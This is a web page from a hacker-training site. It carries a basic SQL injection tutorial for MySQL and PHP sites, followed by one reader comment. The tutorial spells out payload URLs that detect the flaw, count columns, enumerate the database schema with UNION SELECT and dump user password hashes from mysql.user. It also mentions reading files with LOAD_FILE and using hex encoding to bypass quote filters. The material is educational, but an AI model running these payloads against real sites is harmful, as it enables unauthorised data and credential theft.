EG Information
Training Missions
Knowledge Bank
Pimp Us Out!
Has Enigma Group Helped You? Then Help Us By Advertising For Us. Place One Of The Following Images On Your Site And Create A Link Back To Enigma Group.
|
| |
Affiliates
|
|
Enigma Group's Articles
Return to Category Selection
SQL Injections Revealed - Submitted By: Link- 2008-09-23 16:01:02
-------------------- | SQL Injection | -------------------- Description Server type: LAMP â Linux â Apache â MySQL â PHP In this simple article I will go through the basic steps of finding an SQL injection to fully exploiting a database. Nevertheless this article is never enough! You have dig deeper, you have to try and work hard to acquire the necessary knowledge to launch a full attack and to fetch vulnerabilities. Letâs start⦠Letâs suppose we have the following URL: http://fakeurl.com/index.php?id=1016This is a page to post articles extracted from a database. Please note that not all urls having this form should be connected to a database! Some of them just extract the text from local .txt files or they are just includes? Anyway, letâs test if this database can be injected with other code: http://fakeurl.com/index.php?id=10160 or 1=1-- If you get a blank page or an error is displayed then youâve got a vulnerability, if not donât worry try this one: http://fakeurl.com/index.php?id=10160 and 1=0-- The purpose here is to display informative error. Again you should get a blank page or an error. If you are lucky, then you should proceed with your attack: http://fakeurl.com/index.php?id=10160 ORDER BY 1-- Increment the order till you get a blank page or an error page, this will help us determine the column set size. Letâs suppose you get a blank page when u reached the number seven, this means that the number of columns that we can poison is 6. The next step will to union queries. Why we use union? Letâs explain a little bit what: ?id=10160 means: When a http request is sent in the form or POST or GET the php code records the value after the = sign as a variable which is used after to get data from a database. ?id=1 Is transformed to this query : SELECT FROM table article_title, article_body WHERE id=10160; Now everything after the 1 is added to the main query: http://fakeurl.com/index.php?id=10160 ORDER BY 1-- :: SELECT FROM table article_title, article_body WHERE id=10160 ORDER BY 1--; Now the union part: SELECT ... SELECT IS NOT VALID! Thus we use SELECT ... UNION SELECT : to combine two select statements and display both results! Ok, now that we understood the inside, letâs move on! The next step is to use select to gain more info, donât forget to replace 10160 with null just so the first SELECT statement isnât executed! http://fakeurl.com/index.php?id=null UNION ALL SELECT 1,2,3,4,5,6-- This should display: [And this is only an example] 1 3 5 6 This means that we can replace 1,3,5,6 with functions or other things to display info on the page! Letâs try the following: http://fakeurl.com/index.php?id=null UNION ALL SELECT table_schema,2, table_name,4, column_name, ordinal_position from information_schema.COLUMNS-- Where: table_schema: name of the database table_name: name of the table in the database column_name: name of the collumn in the table ordinal_position: original position of the collumn A Second statement to use is: http://fakeurl.com/index.php?id=null UNION ALL SELECT host,2,user,4,password,6 from mysql.user-- host: host the user is valid on user: users login name password: encrypted stored hashes A Third informational statement would be: http://fakeurl.com/index.php?id=null UNION ALL SELECT version(),2,3,4,5,6-- version(): MySQL database version Another Statement: [1] http://fakeurl.com/index.php?id=null UNION ALL SELECT grantee,2, table_catalog,4, privilege_type, is_grantable from information_schema.USER_PRIVILEGES-- grantee: user reflecting the privileges table_catalog: information regarding table catalog privilege_type: the permission granted to the user is_grantable: is the permission grantable If the user on the database has file permissions, the LOAD_FILE routine can be used to extract and view the contents of files on the filesystem! In order to bypass quote filtration we will be using an ascii -> hexadecimal string conversion utility. This effectively bypasses most quote filtration done via the application. [1]: Taken from Understanding MySQL Union Poisoining | Jason A. Medeiros I hope you made a good understanding of these injections, there are still a lot more to learn, you have MSSQL, PostgreSQL, ORACLE database that you need to learn? Plus knowing php is very helpful! Please do not rely on this article to rank yourself among the best, this is very basic but still very helpful? Being the best is all about knowing why things happen! Warm Regards, Link- Return to Category Selection
Comment By: Ashok_thepower 2010-09-06 19:39:42
i am getting this error Warning: mysql_fetch_assoc(): supplied argument is not a valid MySQL result resource in /home/content/e/n/g/engstudent/html/latestnewsdetail.php on line 14
If you wish to submit a comment, you must be a registered member and logged in. Login or Register.
Return to Category Selection
|
| |
|
|
Who Visited EnigmaGroup Today?
1580 Guests, 269 Users (180 Spiders)
JohnMalkovitzch, TheHarrisonW, Klosse, Rex_Mundi, strudels, Obop, hkevin, whoami, ellisp, Hessesian, Vreality2007, trueorfalse, whisperer, advenlydent, zach, blackknight911, ddxc, suetekh, Vengeance987, m0rt, 2345, electro-technic, riesenjoe, Bumpadjuppy, IvanDimitriev, Distorted, nmobin27, RomeoG, timetrust, 2142, 3ntr0py, BillTuer, advilapyday, lotato, lonely.connection, CloverCipher, vnd, aurena, rospark, valy1177, Blavatsky, learning, st3alth, Partisan, hackaday, K0gller, fitz, DrOptix, Jayjay, psychomarine, Vspectrum, San Marino, TinCardinal, brunoriversyhn, code-g, yshiau, Psiber_Syn, Seasharp, obencefoozy, SlayingDragons, Link-, tinuigimeni, jasonbourne, Fred, GothicLogic, somebody777, Meonkzt, CJ_Omaha, jearrorne, cls777, unsugsNashy, Balksnuntails, Sir D. Naut, batsbargy, Rik, Macabre, Nightraven, Iccyx, Repuhlsive, vipervince2002, Janomatrix, lol, veceattainc, techno, Exclaw, limited, Nikhil, evjfvir967nj, Mod777, dark_void, nermtode, Tjm, bjy1997, hecky, saraf, elprof, damoniceht, trik, jordan86, SnoopSky, dan_movie, OnetInsolefon, darkfire1515, seojlhmyrhwh, Thoplehap, MaxMeier, 1028rajeev, Abhinav2107, autotuneuser, alexelixir, Tauya, Jozinbrejl, kernel_mod, quolc, anandoump, vladavlada, Taicadine, AnnaNoult, GreenTiger, baripadatimes, Ewing, Blackbeard, thepuppeteer, BON-SELE, hak4r, Unotohumsmush, NIGHTWOLF, m4f10, avacraft, becool, thecoder, n01se, alpha1, saki, ObesseJew, ActictGlync, sajan, unicornrainbow, Domihoolbob, matt.14, max66, SnowFury, Spud101, myfabregas, Ausome1, kajman121, Frudopvia, ideveloper6, OLOLO, Bugshuppy, lamb, VagWirura, LialiTiTviors, Ordeptpen, scifics, Pozycj-Z21, Gkjt, interPuscruse, aaftab, TheCheeseDemon, blackcyxx21, jollyjimbo, N4g4c3N, rineDriekly, Rap70r, Xargos, flarornEral, ovetz13, sonu sahu, Breezy, emitleBen, Hackpad, JWTSR, nicyun, kaizo, itevainee, luke460, AverageJoe, zeratu92, litbk, Mr.Pickle, mannavard1611, LoopyLion, NexusVos, mtroscheck, burberrybagsjr, nikedunksxm, xordux, jeho, Lonewolf034, Dragonite, nhorton, Reloaded, Odile, Kaptain_k1rk, Teefelltugh, grizzly, posthuman01, jakesboy2, pwnpwnlolz, Sabo, Lakhoamnmek, Rgue, dot_Cipher, mori, snickerless1, cart1m, Xendz, KELATALFTUS, hubris, Afrika, welepocourl, carpinteyrofbt, ReottphoffBom, Reahastegah, pumashoesld, pdanielt, dmac006, DnA-Ender, Red Fox, couptupleakb, ryanjcrook, iMaxx, sh3llcod3, TimHortons, EmilaHapsaums, Feld Grau, burgeoningneophyte, Maroonhat, CookieAu, tinkansinar, Mitodina, timberlandoutletlufc, zsefvy, guccioutletox, AlexDiru, AbercrombieFitchhl, Ryuske, r0z4, slchill, kalak55, Ph4Kt480ii, beefarn, Jigoku, WrossyJes, pollolololo, ZepSung, Fragility, jell0, C9019, Othrguy, Noticon, KIKNWING, llasarus, mdubz, leah027, iellswo, MAZI_, Estilaamoli, subtentar, Trollorful, no, nas0151, Traybo, howisthechicken, thethird3y3, Somethingclever, marplusz, MSI52 |
| |
|
|
|
|
|